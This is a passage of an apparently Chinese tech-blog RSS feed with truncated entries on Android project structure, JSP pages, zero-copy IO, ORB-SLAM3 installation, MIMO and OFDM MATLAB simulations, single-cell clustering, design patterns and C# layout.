      <description>当创建了一个安卓工程之后，系统会生成很多文件夹，那么这些文件夹都存放的是什么东西呢？&#xA;src：存放java代码，有包，有文件。相当于普通java程序的src文件夹。&#xA;gen：存放自动生成的文件。R.java存放的是程序的页面、按键、文本等的id。&#xA;Android 4.4和Android Private Libaries：安卓的相关库&#xA;assets：存放一些资源，程序运行时的配置文件、图片等&#xA;bin：程序编译后生成的文件、apk等。（apk也就是安卓的安装包，想要在手机上安卓编写的APP，就需要apk文件）&#xA;libs：开发的一些依赖库&#xA;res：&#xA;drawable：一般用来存放app程序运行需要用到的图片，根据图片分辨率放在不同的drawable文件夹&#xA;layout：存放布局文件的文件夹（一个安卓页面对应一个布局）&#xA;剩下的menu、values就是存放一些参数和一些自定义控制文件&#xA;8. AndroidManifest.xml：APP的配置。&#xA;权限：网络访问权限、名片夹访问权限、相机访问权限等。&#xA;目标机器的SDK版本&#xA;APP的名字&#xA;APP的图标&#xA;配置第一个被加载、启动页面</description>
    </item>
    <item>
      <title>网上蛋糕商城JSP页面</title>
      <link>https://bchobby.github.io/posts/dac7ee6fbb8398237ce2f41f6a919324/</link>
      <pubDate>Mon, 21 Nov 2022 13:17:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dac7ee6fbb8398237ce2f41f6a919324/</guid>
      <description>任务目标： 使用JSP页面实现网上蛋糕商城注册页面，实现效果如图所示&#xA;实现步骤： 1.创建顶部文件 创建用于显示页面导航栏的顶部文件header.jsp,代码实现如下&#xA;&amp;lt;%--&amp;lt;%@ taglib prefix=&#34;c&#34; uri=&#34;http://java.sun.com/jsp/jstl/core&#34; %&amp;gt;--%&amp;gt; &amp;lt;%@ page contentType=&#34;text/html;charset=UTF-8&#34; language=&#34;java&#34; %&amp;gt; &amp;lt;%@taglib prefix=&#34;c&#34; uri=&#34;http://java.sun.com/jsp/jstl/core&#34; %&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;%-- 引入初始化Servlet--%&amp;gt; &amp;lt;jsp:include page=&#34;/init&#34;&amp;gt;&amp;lt;/jsp:include&amp;gt; &amp;lt;div class=&#34;header&#34;&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;nav class=&#34;navbar navbar-default&#34; role=&#34;navigation&#34;&amp;gt; &amp;lt;div class=&#34;collapse navbar-collapse&#34; id=&#34;bs-example-navbar-collapse-1&#34;&amp;gt; &amp;lt;ul class=&#34;nav navbar-nav&#34;&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;首页&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li class=&#34;dropdown&#34;&amp;gt; &amp;lt;a href=&#34;#&#34; class=&#34;dropdown-toggle&#34; data-toggle=&#34;dropdown&#34;&amp;gt;商品分类&amp;lt;b class=&#34;caret&#34;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;ul class=&#34;dropdown-menu columns-2&#34;&amp;gt; &amp;lt;c:forEach var=&#34;type&#34; items=&#34;${ sessionScope.alltypes }&#34;&amp;gt; &amp;lt;li class=&#34;list-group-item&#34;&amp;gt;${type.name}&amp;lt;/li&amp;gt; &amp;lt;/c:forEach&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;热销&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;新品&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;</description>
    </item>
    <item>
      <title>什么是零拷贝</title>
      <link>https://bchobby.github.io/posts/feb43a01f069dc824a6bec2cd9b08ddf/</link>
      <pubDate>Mon, 21 Nov 2022 11:54:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feb43a01f069dc824a6bec2cd9b08ddf/</guid>
      <description>零拷贝是老生常谈的问题，无论是Kafka还是Netty等都用到了零拷贝的知识，那究竟什么是零拷贝呢&#xA;什么是零拷贝 “零”：表示次数是0，它表示拷贝数据的次数是0&#xA;“拷贝”：指数据从一个存储区域转移到另一个存储区域&#xA;合起来，那零拷贝就是不需要将数据从一个存储区域复制到另一个存储区域。&#xA;零拷贝是指计算机执行IO操作时，CPU不需要将数据从一个存储区域复制到另一个存储区域，进而减少上下文切换以及CPU的拷贝时间。它是一种IO操作优化技术。&#xA;传统IO的执行流程 比如想实现一个下载功能，服务端的任务就是：将服务器主机磁盘中的文件从已连接的socket中发出去，关键代码如下&#xA;while((n = read(diskfd, buf, BUF_SIZE)) &amp;gt; 0) write(sockfd, buf, n); 传统的IO流程包括read以及write的过程&#xA;read:将数据从磁盘读取到内核缓存区中，在拷贝到用户缓冲区&#xA;write:先将数据写入到socket缓冲区中，最后写入网卡设备&#xA;流程图如下&#xA;1.应用程序调用read函数，向操作系统发起IO调用，上下文从用户态切换至内核态&#xA;2.DMA控制器把数据从磁盘中读取到内核缓冲区&#xA;3.CPU把内核缓冲区数据拷贝到用户应用缓冲区，上下文从内核态切换至用户态，此时read函数返回&#xA;4.用户应用进程通过write函数，发起IO调用，上下文从用户态切换至内核态&#xA;5.CPU将缓冲区的数据拷贝到socket缓冲区&#xA;6.DMA控制器将数据从socket缓冲区拷贝到网卡设备，上下文从内核态切换至用户态，此时write函数返回&#xA;从流程图中可以看出传统的IO流程包括***4次上下文的切换***，4次拷贝数据(两次CPU拷贝以及两次DMA拷贝)&#xA;前置知识 内核空间和用户空间 我们电脑上跑着的应用程序，其实是需要经过操作系统，才能做一些特殊操作，如磁盘文件读写、内存的读写等等。因为这些都是比较危险的操作，不可以由应用程序乱来，只能交给底层操作系统来。&#xA;因此，操作系统为每个进程都分配了内存空间，一部分是用户空间，一部分是内核空间。内核空间是操作系统内核访问的区域，是受保护的内存空间，而用户空间是用户应用程序访问的内存区域。 以32位操作系统为例，它会为每一个进程都分配了4G(2的32次方)的内存空间。&#xA;内核空间：主要提供进程调度、内存分配、连接硬件资源等功能&#xA;用户空间：提供给各个程序进程的空间，它不具有访问内核空间资源的权限，如果应用程序需要使用到内核空间的资源，则需要通过系统调用来完成。进程从用户空间切换到内核空间，完成相关操作后，再从内核空间切换回用户空间。&#xA;用户态和内核态 如果进程运行于内核空间，被称为进程的内核态。&#xA;如果进程运行于用户空间，被称为进程的用户态。&#xA;什么是上下文切换 什么是上下文&#xA;CPU 寄存器，是CPU内置的容量小、但速度极快的内存。而程序计数器，则是用来存储 CPU 正在执行的指令位置、或者即将执行的下一条指令位置。它们都是 CPU 在运行任何任务前，必须的依赖环境，因此叫做CPU上下文。&#xA;什么是上下文切换&#xA;它是指，先把前一个任务的CPU上下文（也就是CPU寄存器和程序计数器）保存起来，然后加载新任务的上下文到这些寄存器和程序计数器，最后再跳转到程序计数器所指的新位置，运行新任务。&#xA;一般我们说的上下文切换，就是指内核（操作系统的核心）在CPU上对进程或者线程进行切换。进程从用户态到内核态的转变，需要通过系统调用来完成。系统调用的过程，会发生CPU上下文的切换。&#xA;虚拟内存 现代操作系统使用虚拟内存，即虚拟地址取代物理地址，使用虚拟内存可以有2个好处：&#xA;1.虚拟内存空间可以远远大于物理内存空间&#xA;2.多个虚拟内存可以指向同一个物理地址&#xA;正是多个虚拟内存可以指向同一个物理地址，可以把内核空间和用户空间的虚拟地址映射到同一个物理地址，这样的话，就可以减少IO的数据拷贝次数，示意图如下&#xA;DMA技术 DMA，英文全称是Direct Memory Access，即直接内存访问。DMA本质上是一块主板上独立的芯片，允许外设设备和内存存储器之间直接进行IO数据传输，其过程不需要CPU的参与。&#xA;简单的说它就是帮住CPU转发一下IO请求以及拷贝数据，那为什么需要它呢？其实主要是效率问题。它帮忙CPU做事情，这时候，CPU就可以闲下来去做别的事情，提高了CPU的利用效率。大白话解释就是，CPU老哥太忙太累啦，所以他找了个小弟（名叫DMA） ，替他完成一部分的拷贝工作，这样CPU老哥就能着手去做其他事情。&#xA;下面看下DMA具体是做了哪些工作&#xA;1.用户应用程序调read函数，向操作系统发起IO调用，进入阻塞状态等待数据返回&#xA;2.CPU接到指令后，对DMA控制器发起指令调度&#xA;3.DMA收到请求后，将请求发送给磁盘&#xA;4.磁盘将数据放入磁盘控制缓冲区并通知DMA&#xA;5.DMA将数据从磁盘控制器缓冲区拷贝到内核缓冲区&#xA;6.DMA向CPU发送数据读完的信号，CPU负责将数据从内核缓冲区拷贝到用户缓冲区&#xA;7.用户应用进程由内核态切回用户态，解除阻塞状态</description>
    </item>
    <item>
      <title>Ubuntu20.04安装orb-slam3</title>
      <link>https://bchobby.github.io/posts/0924ede426ba0ab970c995afc959d9d4/</link>
      <pubDate>Mon, 21 Nov 2022 09:34:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0924ede426ba0ab970c995afc959d9d4/</guid>
      <description>说明：笔者是在一个全新的系统上面配置的。安装时间：2022.10.30&#xA;环境：虚拟机；VMare Workstation16 Pro，运行内存16G.&#xA;之后，笔者在Ubuntu18.04的机器上安装过，也能使用.&#xA;注意orb-slam3的版本.&#xA;版本说明：&#xA;orb-slam3 : v0.4-beta.cmake : 3.16.3pangolin : v0.8openCV : 4.4.0Eigen : 3.3.7pyhon : 2.7.18boost : 1.70.0 注：笔者使用了科学上网工具&#xA;文章目录 0.安装cmake、git1.安装Eigen32.0安装pangolin(方法一)2.1安装Pangolin（方法二）3.安装Python4.安装openCV4.4.05.安装ORB-SLAM6.安装ORB-SLAM可能遇到的错误 0.安装cmake、git cmake安装：&#xA;sudo apt-get update #软件更新 sudo apt install cmake # 安装cmake3.16.3 cmake --version #查看cmake 版本 g++ install&#xA;sudo apt install g++ git安装：&#xA;sudo apt install git 1.安装Eigen3 environment: Could NOT find OpenGL&#xA;sudo apt-get install libegl1-mesa-dev environment: Could not find GLEW&#xA;sudo apt install libglew-dev apt安装：</description>
    </item>
    <item>
      <title>用python实现简易计算器</title>
      <link>https://bchobby.github.io/posts/6869fe345935ed36c694d0c586b8ae3c/</link>
      <pubDate>Mon, 21 Nov 2022 09:29:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6869fe345935ed36c694d0c586b8ae3c/</guid>
      <description>最近学习了字符串，运算符，条件语句，循环语句，我在想可以用我最近学的东西做什么？ 看到运算我就想到了可以做一个简易的计算器.&#xA;实现流程 1.定义函数&#xA;2.请用户选择运算方法&#xA;3.请用户输入要运算的两个数&#xA;4.运算出结果&#xA;代码实现 定义加减乘除四种函数，在后续的运算中调用这四个函数输出结果.&#xA;定义加减乘除四种运算的函数 定义函数要用def 首先定义加法函数add在里面传入参数x，y 返回值X加y 定义subtract减法函数 ，返回值x减y 定义multiply乘法函数，返回值x乘y 定义divide除法函数，返回值x除y.&#xA;定义函数： # 定义函数 def add(x, y): &#34;&#34;&#34;相加&#34;&#34;&#34; return x + y def subtract(x, y): &#34;&#34;&#34;相减&#34;&#34;&#34; return x - y def multiply(x, y): &#34;&#34;&#34;相乘&#34;&#34;&#34; return x * y def divide(x, y): &#34;&#34;&#34;相除&#34;&#34;&#34; return x / y 创建变量num1，用input函数使用户输入第一个要计算的数字，用int函数将用户输入的值转变成整形. 同样创建变量num2，用input函数使用户输入第二个要计算的数字.&#xA;接着用print函数提示用户输入运算运算符. 打印运算 1.相加 2.相减 3.相乘 4.相除&#xA;创建变量choice. 用input函数获取用户输入值.&#xA;输入值： print(&#34;选择运算：&#34;) print(&#34;1、相加&#34;) print(&#34;2、相减&#34;) print(&#34;3、相乘&#34;) print(&#34;4、相除&#34;) answer = input(&#39;是否开始计算(y/n)?</description>
    </item>
    <item>
      <title>帧同步学习记录</title>
      <link>https://bchobby.github.io/posts/6072f4188b8984be2e3257881e37874a/</link>
      <pubDate>Sun, 20 Nov 2022 23:54:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6072f4188b8984be2e3257881e37874a/</guid>
      <description>帧同步 参考链接&#xA;细谈网络同步在游戏历史中的发展变化（上）&#xA;细谈网络同步在游戏历史中的发展变化（下）&#xA;网易雷火&#xA;cocos2dx lua socket 使用cocos creator 项目总结二（战斗帧同步解析）2 天做了个多人实时对战，200ms 延迟竟然也能丝滑流畅？&#xA;不是标题党，讲的非常完善清晰，而且还有状态同步的例子 Unity游戏开发 帧同步战斗框架 理论篇Unity游戏开发 帧同步战斗框架 框架篇 两篇学会帧同步&#xA;Unity帧同步解决方案（一）&#xA;Unity帧同步解决方案（二）&#xA;Unity 游戏开发总结&#xA;大佬的专栏，还有很多Unity的知识&#xA;《王者荣耀》技术总监复盘回炉历程：没跨过这三座大山，就是另一款MOBA霸占市场了&#xA;一. 简介 帧同步和状态同步是目前最常用的游戏同步设计。它们并不互斥，可以一起相辅相成的出现于同步逻辑中。&#xA;下图来自 Unity游戏开发 帧同步战斗框架 理论篇&#xA;二. 客户端逻辑 帧同步的逻辑都在客户端，所以首要保证的是不同客户端同一帧内的计算结果一定要相同。&#xA;可控的客户端的逻辑逻辑显示分离可控的随机 1).客户端帧同步逻辑 unity游戏开发 帧同步战斗框架 框架篇&#xA;帧同步的逻辑全都在客户端计算，必须保证每个客户端相同帧的计算结果是一样的。&#xA;要完全控制客户端的计算流程，比如，移动，碰撞，动画事件，延迟处理（等待s秒）等。&#xA;渲染因为跟不同硬件设备以及引擎有着相对较强的关联，所以客户端会设计成逻辑与显示分离。&#xA;渲染部分可以交给引擎提供的更新，而逻辑更新必须由客户端实现的Update控制。&#xA;1.主要逻辑 Update（delta）{ 事件帧 逻辑帧 } UpdateRender(delta){ 渲染帧 } 事件帧：帧同步的帧，包含某段时间内所有玩家的操作逻辑帧：游戏的所有逻辑渲染帧：显示部分的更新，比如坐标 1个事件帧 = n个逻辑帧 = n*m 个渲染帧&#xA;2.统一时间间隔 事件帧和逻辑帧是一起更新的，逻辑帧间隔小于等于事件帧。使用更小的间隔来判断 deltaTime。&#xA;要注意的是，Update 传入的间隔时间不是固定的，是变化的。比如 前台 -&amp;gt; 后台，后台 -&amp;gt; 前台。这时候传入的时间就会很大。</description>
    </item>
    <item>
      <title>MIMO系统平均容量与中断容量仿真</title>
      <link>https://bchobby.github.io/posts/61d87ba2cc84a2019ab335f6cad50910/</link>
      <pubDate>Sun, 20 Nov 2022 22:24:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61d87ba2cc84a2019ab335f6cad50910/</guid>
      <description>（1）发送端已知状态信息与发送端未知信道状态信息时，MIMO系统平均容量随信噪比变化曲线仿真&#xA;（2）发送端已知状态信息与发送端未知信道状态信息时，MIMO系统中断容量随信噪比变化曲线仿真&#xA;（3）发送端已知状态信息与发送端未知信道状态信息时，MIMO系统中断容量随天线数变化曲线仿真&#xA;clear all; close all; clc; M=1000;%循环次数 Nt=[2:2:8];%发送端天线个数 SNR=[0:2:20];%信噪比，单位为dB figure(1); title(&#39;MIMO系统平均容量 vs SNR&#39;,&#39;fontsize&#39;,18); xlabel(&#39;SNR[dB]&#39;,&#39;fontsize&#39;,18); ylabel(&#39;容量(bps/Hz)&#39;,&#39;fontsize&#39;,18); grid on; hold on; figure(2); title(&#39;MIMO系统10%中断容量 vs SNR&#39;,&#39;fontsize&#39;,18); xlabel(&#39;SNR[dB]&#39;,&#39;fontsize&#39;,18); ylabel(&#39;中断容量(bps/Hz)&#39;,&#39;fontsize&#39;,18); grid on; hold on; for n=1:length(Nt) N=Nt(n); for m=1:M H=(randn(N,N)+1i*randn(N,N))/sqrt(2);%产生瑞利信道 for snr_idx=1:length(SNR) rho=10^(SNR(snr_idx)/10); %发送端未知信道状态信息情况下，MIMO系统平均容量，参见式（4-10） CU(m,snr_idx)=log2(real(det(eye(N)+rho*H*H&#39;/N))); %发送端已知信道状态信息情况下，MIMO系统平均容量，参见式（4-16） [gamma,eigs]=pwr_modes(H,rho); %计算式（4-16）中的gamma和奇异值 CK(m,snr_idx)=sum(log2(real(1+eigs.*gamma*rho/N))); end end C_unknown(:,n)=mean(CU)&#39;;%对M个未知CSI的MIMO系统容量取均值 C_known(:,n)=mean(CK)&#39;;%对M个已知CSI的MIMO系统容量取均值 %统计中断容量 for snr_idx=1:length(SNR) [cdf_u,co_u]=hist(CU(:,snr_idx),100); cdf_u=cumsum(cdf_u); idx_ten_percent=find(abs(cdf_u-100) == min(abs(cdf_u-100))); C_unknown_outage(snr_idx,n)=co_u(idx_ten_percent(1)); [cdf_k,co_k]=hist(CK(:,snr_idx),100); cdf_k=cumsum(cdf_k); idx_ten_percent=find(abs(cdf_k-100) == min(abs(cdf_k-100))); C_known_outage(snr_idx,n)=co_k(idx_ten_percent(1)); end figure(1); plot(SNR,C_unknown(:,n),&#39;k-&#39;); plot(SNR,C_known(:,n),&#39;k-.&#39;); figure(2); plot(SNR,C_unknown_outage(:,n),&#39;k-&#39;); plot(SNR,C_known_outage(:,n),&#39;k-.</description>
    </item>
    <item>
      <title>单细胞分析：细胞聚类（十）</title>
      <link>https://bchobby.github.io/posts/9c09255dceb926e776b86167004fcca1/</link>
      <pubDate>Sun, 20 Nov 2022 21:57:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c09255dceb926e776b86167004fcca1/</guid>
      <description>导读 前面我们已经整合了高质量的细胞，现在我们想知道细胞群中存在的不同细胞类型 ，因此下面将进行细胞聚类分析。&#xA;全部流程 学习目标 描述评估用于聚类的主成分数量的方法&#xA;根据重要的主成分对细胞进行聚类&#xA;1. 目标 生成特定细胞类型的簇并使用已知细胞类型的标记基因来鉴定簇的身份。&#xA;确定簇是否代表真正的细胞类型或是由于生物学或技术变异而产生的簇，例如细胞周期 S 期的细胞簇、特定批次的簇或具有高线粒体含量的细胞簇。&#xA;2. 挑战 生物或技术问题可能会导致鉴定出质量差的簇 识别每个簇的细胞类型 需要保持耐心，因为这可能在聚类和标记基因识别之间进行重复（有时甚至会回到 QC 过滤步骤） 3. 推荐 在执行聚类之前，对您对存在的细胞类型有一个很好的了解。了解您是否期望细胞类型复杂性较低或线粒体含量较高，以及细胞是否正在分化。 如果您有多个条件的数据，执行整合步骤通常很有帮助。 如果需要并且有实验条件，则回归 UMI 的数量（默认情况下使用 sctransform）、线粒体含量和细胞周期。 识别任何无用簇以进行删除或重新进行QC 过滤。无用簇可能包括那些具有高线粒体含量和低 UMI/基因的簇。如果由许多细胞组成，则返回利用 QC 过滤掉，然后重新整合/聚类可能会有所帮助。 如果没有将所有细胞类型检测为单独的簇，请尝试更改分辨率或 PC 数量。 4. Set up 在开始之前，创建一个名为 clustering.R 的新脚本。&#xA;接下来，让我们加载需要的所有库。&#xA;# 单细胞聚类&#xA;# 加载包&#xA;library(Seurat)&#xA;library(tidyverse)&#xA;library(RCurl)&#xA;library(cowplot)&#xA;5. PCs 鉴定 为了克服 scRNA-seq 数据中任何单个基因表达中的广泛技术噪音，Seurat根据从整合的最可变基因的表达中获得的 PCA分数将细胞分配到簇种，每个 PC 基本上代表一个“metagene”，结合相关基因集的信息。因此，确定要在聚类步骤中包含多少 PC 对于确保我们捕获数据集中存在的大部分变异或细胞类型非常重要。&#xA;在决定哪些 PC 用于下游聚类分析之前，对 PC 探索很有用。&#xA;(a) 探索 PC 的一种方法是使用热图来可视化选定 PC 的最多变异基因，其中基因和细胞按 PCA 分数排序。这里的想法是查看 PC 并确定驱动它们的基因对于区分不同的细胞类型是否有意义。</description>
    </item>
    <item>
      <title>设计模式学习笔记 - 组合模式</title>
      <link>https://bchobby.github.io/posts/6dfe22df386d875a0af0dd60d214a342/</link>
      <pubDate>Sun, 20 Nov 2022 21:32:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dfe22df386d875a0af0dd60d214a342/</guid>
      <description>设计模式学习笔记 - 组合模式 一、学校院系展示问题二、传统方案解决学校院系展示问题三、组合模式介绍1、基本介绍2、组合模式原理 四、组合模式解决学校院系展示问题五、组合模式在JDK集合的源码分析六、组合模式的注意事项和细节 一、学校院系展示问题 展示一个学校院系结构：要在一个页面中展示出学校的院系组成，一个学校有多个学院，一个学院有多个系。&#xA;二、传统方案解决学校院系展示问题 （1）将学院看做是学校的子类，系是学院的子类，这样实际上是站在组织大小来进行分层次的。实际上在一个页面中展示出学校的院系组成（一个学校有多个学院，一个学院有多个系），这种方案不能很好实现的管理的操作，比如添加、删除、遍历学院和系等。&#xA;（2）解决方案：把学校、院、系都看做是组织结构，它们之间没有继承的关系，而是一个树形结构，可以更好的实现管理操作。 也就是使用组合模式来实现。&#xA;三、组合模式介绍 1、基本介绍 组合模式（Composite Pattern），又叫部分整体模式，它创建了对象组的树形结构，将对象组合成树状结构以表示“整体-部分”的层次关系。&#xA;组合模式属于结构型模式。&#xA;组合模式依据树形结构来组合对象，用来表示部分以及整体层次。&#xA;组合模式使得用户对单个对象和组合对象的访问具有一致性，即组合能让客户以一致的方式处理个别对象以及组合对象。&#xA;2、组合模式原理 类图：&#xA;说明：&#xA;（1）Component：这是组合中对象声明接口，在适当情况下，实现所有类共有的接口默认行为，用于访问和管理Component子部件，Component可以是抽象类或者接口。&#xA;（2）Composite：非叶子节点，用于存储子部件， 在Component接口中实现子部件的相关操作，比如add（增加）、remove（删除）。&#xA;（3）Leaf：在组合中表示叶子节点，叶子节点中没有子节点。&#xA;四、组合模式解决学校院系展示问题 类图：&#xA;实现代码： package com.etc.design.composite; public abstract class OrganizationComponent { // 名字 private String name; // 说明 private String des; //默认实现 protected void add(OrganizationComponent organizationComponent) { throw new UnsupportedOperationException(); } //默认实现 protected void remove(OrganizationComponent organizationComponent) { throw new UnsupportedOperationException(); } // 构造器 public OrganizationComponent(String name, String des) { super(); this.</description>
    </item>
    <item>
      <title>C#窗体怎样实现自适应大小（一）</title>
      <link>https://bchobby.github.io/posts/2ee1a8e324e02ec2bfe9a0033bad71e0/</link>
      <pubDate>Sun, 20 Nov 2022 20:04:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ee1a8e324e02ec2bfe9a0033bad71e0/</guid>
      <description> 以前用串口助手时，没有发现什么不对劲的地方，但自己写的上位机控件，点击窗口最大化时，界面却没有按相应的比例放大，让人看得很不舒服，其实，知道窗口有自适应这一说法，可在C#里如何实现呢？&#xA;在C#编程里，使用布局控件实现窗体的自适应大小，相信很多朋友都用过吧，用过的不要吐糟，没有用过的可以参考参考，谢谢各位狼友。&#xA;1 先介绍两个控件 tableLayoutPanel和flowLayoutPanel 这两个控件，在 工具箱---容器 里面&#xA;tableLayoutPanel 是列表布局&#xA;flowLayoutPanel 是流布局&#xA;2 tableLayoutPannel 列表布局 2.1 新建一个窗口Form&#xA;2.2 拖一个tableLayoutPanel到窗体上&#xA;2.3 将其Dock属性设置为Fill，也就是中间那个区域&#xA;这样tableLayoutPanel就会部填充窗口&#xA;2.4 选择控件右上角的小三角，可以编辑行和列，在弹出的窗体中设置百分比或者设置固定值，比如说在窗口放大时，有些控件不希望改变大小，就可以在绝对（B）写入固定相素值&#xA;可以添加行或列，并设置百分比值或绝对值，也可以选择自动调整大小&#xA;2.5 到这里，就可以方便的向列表存放其它控件了&#xA;如拖一个 groupBox到第单元格1，然后将其属性 Dock 设置为Fill，这样groupBox1就自动填充满单元格1，如果不想填充满，也可以设置它的anchor属性，让它居中对齐，有空再试试这个功能。&#xA;2.5 如果想让控制跨度放置，如下面的textBox&#xA;选中控件，ColumnSpan 设置为2，然后将Dock 设置为Fill&#xA;如果想要放多个控件，比如单元格1按2个button，就先放一个groupBox，再拖两个button进去，就可以了。&#xA;3 如果要自适应屏幕大小，就可以在窗体打开事件中加上下面这段代码 4 总结 像我示范的窗体那样有很多groupBox控件的话，是需要用相同的办法在groupBox控件中也加入布局控件进行上面相同的操作，否则就会出现groupBox缩小了，但是groupBox里面的子控件却被覆盖掉而显示不出来的情况。如果想要实现局部放大或缩小，也就是有些地方不希望它改变大小，只希望固定控件去改变大小，这种情况下只需要前面几行固定像素，让希望变化的控件为百分比大小即可. 如下在单元4中，再拖入一个tableLayoutPannel，设置好行列，就可以各放gruopBox，看起很舒服吧。&#xA;如果要实现直接自适应屏幕大小可以这样做（在上述窗体设计操作完成后）：&#xA;在主窗体构造函数末尾或者主窗体Load事件中写上&#xA;//获取当前屏幕显示区域大小，让窗体长宽等于这个值，这里不包含任务栏哦 this.Width = Screen.PrimaryScreen.WorkingArea.Width; //这样窗体打开的时候直接就是屏幕的大小了 this.Height = Screen.PrimaryScreen.WorkingArea.Height; </description>
    </item>
    <item>
      <title>OFDM信号的产生与解调</title>
      <link>https://bchobby.github.io/posts/d2526e8bf7579543764fbb93e1602e85/</link>
      <pubDate>Sun, 20 Nov 2022 19:52:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2526e8bf7579543764fbb93e1602e85/</guid>
      <description>（1）通过对OFDM信号各个子载波赋共轭对称的数据产生一个实OFDM符号&#xA;（2）给OFDM符号加循环前缀与循环后缀&#xA;（3）给OFDM符号加窗。在程序中加入的是升余弦窗的滚降系数，观察加入不同升余弦窗对OFDM信号频谱的影响&#xA;（4）信道采用加性高斯白噪声信道，可以通过改变信噪比改变信道环境，从而在接收端通过误码率或星座图观察信道对OFDM信号传输的影响&#xA;（5）去除循环前缀与循环后缀，对OFDM信号进行解调&#xA;clear all; close all; carrier_count=200; %这个程序中OFDM子载波个数为512，其中400即carrier_count*2为数据符号，其余赋0值 symbols_per_carrier=20; %每个子载波上的符号数，在这里即为OFDM符号的个数 bits_per_symbol=4; %OFDM符号的每个子载波上传输的比特数。4bit通常采用16QAM调制 IFFT_bin_length=512;%FFT长度，也即一个OFDM符号的子载波个数 PrefixRatio=1/4; %循环前缀的比值，即循环前缀与OFDM符号长度的比值，通常在1/6~1/4之间 GI=PrefixRatio*IFFT_bin_length;%保护间隔的长度，这里为128 beta=1/32;%升余弦窗的滚降系数 GIP=beta*(IFFT_bin_length+GI);%循环后缀的长度，这里为20 SNR=30;%本程序考虑加性高斯白噪声信道，这里信噪比为30dB %OFDM信号产生 baseband_out_length=carrier_count*symbols_per_carrier*bits_per_symbol; %计算传输数据总的比特数，为200*20*4bit=16000bit，16000bit的构成为20个OFDM符号，每个OFDM符号200个子载波，每个子载波传输4bit信息 carriers=(1:carrier_count)+(floor(IFFT_bin_length/4)-floor(carrier_count/2));%floor函数：朝负无穷大方向取整 %(floor(IFFT_bin_length/4)-floor(carrier_count/2)=28 %计算OFDM符号子载波的序号，carriers中存放的序号是29~228 conjugate_carriers=IFFT_bin_length-carriers-2; %计算OFDM符号子载波的序号，conjugate_carriers中存放的序号是282~481 rand(&#39;twister&#39;,0);%rand函数（用于产生随机数） twister产生非重复的随机数 baseband_out=round(rand(1,baseband_out_length));%round函数用于舍入到最接近的整数 注：round(2.5) = 3; %产生16000bit待传输的二进制比特流。这里存放的是发送的二进制信号与后面解调后的二进制信号比较，可以计算误码率。 %16QAM调制并绘制星座图 complex_carrier_matrix=qam16(baseband_out); %调用子程序qam16进行16QAM调制。将baseband_out中的二进制比特流，每4bit转换为一个16QAM信号，即将二进制比特流每4bit转换为-3-3j、-3+3j、3-3j、3+3j、 %-1-3j、-1+3j、1-3j、1+3j、-3-j、-3+j、3-j、3+j、-1-j、-1+j、1-j、1+j中的一个。转换后complex_carrier_matrix为1*4000矩阵 complex_carrier_matrix=reshape(complex_carrier_matrix&#39;,carrier_count,symbols_per_carrier)&#39;;% A = reshape（A，m，n）将A 的行列排列成m行n列 %转换complex_carrier_matrix中的数据为carrier_count*symbols_per_carrier矩阵，这里为200*20矩阵 figure(1); plot(complex_carrier_matrix,&#39;*r&#39;);%绘制16QAM星座图 axis([-4,4,-4,4]); title(&#39;16QAM调制后星座图&#39;); grid on;%grid on是matlab中的一种函数，表示在画图的时候添加网格线 。 %IFFT,即进行OFDM调制 IFFT_modulation=zeros(symbols_per_carrier,IFFT_bin_length);%matlab中zeros函数是用于返回一个double类零矩阵 %将symbols_per_carrier*IFFT_bin_length矩阵赋0值，这里将20*512矩阵赋0值。 %这里512是IFFT的长度，也是OFDM符号的子载波个数 IFFT_modulation(:,carriers)=complex_carrier_matrix; %将20*200的complex_carrier_matrix的数据赋给IFFT_modulation的第29~228列，即给512个子载波中的29~228子载波赋值 IFFT_modulation(:,conjugate_carriers)=conj(complex_carrier_matrix);%conj函数：用于计算复数的共轭值 %将20*200的complex_carrier_matrix的数据赋给512个子载波中的第282~481个子载波，这段程序构造了512个子载波的OFDM符号，并且各个子载波上的 %数据是共轭对称的。这样做的目的是经过IFFT后形成的OFDM符号均为实数。另外，在512个子载波中，仅有400个子载波为数据，其余为0值，相当于补零。 %补零的目的是通常IFFT的长度应该为2的整数次幂 signal_after_IFFT=ifft(IFFT_modulation,IFFT_bin_length,2); %IFFT实现OFDM调制 time_wave_matrix=signal_after_IFFT; figure(2); plot(0:IFFT_bin_length-1,time_wave_matrix(2,:)); %画一个OFDM信号的时域表现 axis([0,512,-0.</description>
    </item>
    <item>
      <title>[附源码]java毕业设计网上书店管理系统</title>
      <link>https://bchobby.github.io/posts/48d4d96276989b560118ea3bb2d2a298/</link>
      <pubDate>Sun, 20 Nov 2022 19:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48d4d96276989b560118ea3bb2d2a298/</guid>
